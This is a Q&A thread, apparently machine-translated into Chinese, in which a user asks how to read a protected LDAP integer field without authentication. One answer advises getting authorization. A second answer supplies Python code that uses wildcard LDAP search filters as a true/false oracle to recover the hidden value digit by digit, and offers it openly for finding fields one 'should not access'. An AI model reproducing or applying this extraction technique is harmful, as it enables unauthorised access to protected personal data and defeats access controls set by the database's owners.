我对复制特定的python脚本感兴趣。
我有一位朋友在没有身份验证的情况下访问了ldap数据库。有一个特别感兴趣的领域,我们将其称为nin(整数)以供参考,如果没有适当的身份验证,则无法访问此字段。但是,我的朋友设法通过某种二进制搜索(而不是仅仅循环整数)来访问该字段;他会检查第一个数字,检查它是否大于或小于起始值,他会增加它,直到它返回一个表示存在的真值,添加数字并继续检查,直到他找到整数nin的确切值。
关于他如何解决这个问题的任何想法?我可以访问类似的设置数据库。
答案 0 :(得分:0)
您最好的选择是获得访问该字段的授权。否则,你正在规避数据库的安全性。
答案 1 :(得分:0)
想出来。我只需要过滤(&(cn =我的名字)(nin = guess *),我设法过滤,直到它返回正确的结果。
代码如果其他人需要找到他们不应该访问的字段,但可以检查结果并知道其名称。
def lookup(self, username="", guess=0,verbose=0):
guin = guess
result_set = []
varsearch = "(&(name=" + str(username) + ")(" + "nin" + "=" + str(guin) + "*))"
result_id = self.l.search("", ldap.SCOPE_SUBTREE, varsearch, ["nin"])
while True:
try:
result_type, result_data = self.l.result(result_id, 0, 5.0)
if (result_data == []):
break
else:
if result_type == ldap.RES_SEARCH_ENTRY:
result_set.append(result_data)
except ldap.TIMEOUT:
return {"name": username}
if len(result_set) == 0:
return self.lookup(username, guin + 1,verbose)
else:
if guess < 1000000:
return self.lookup(username, guess * 10,verbose)
else:
if verbose==1:
print "Bingo!",
return str(guess)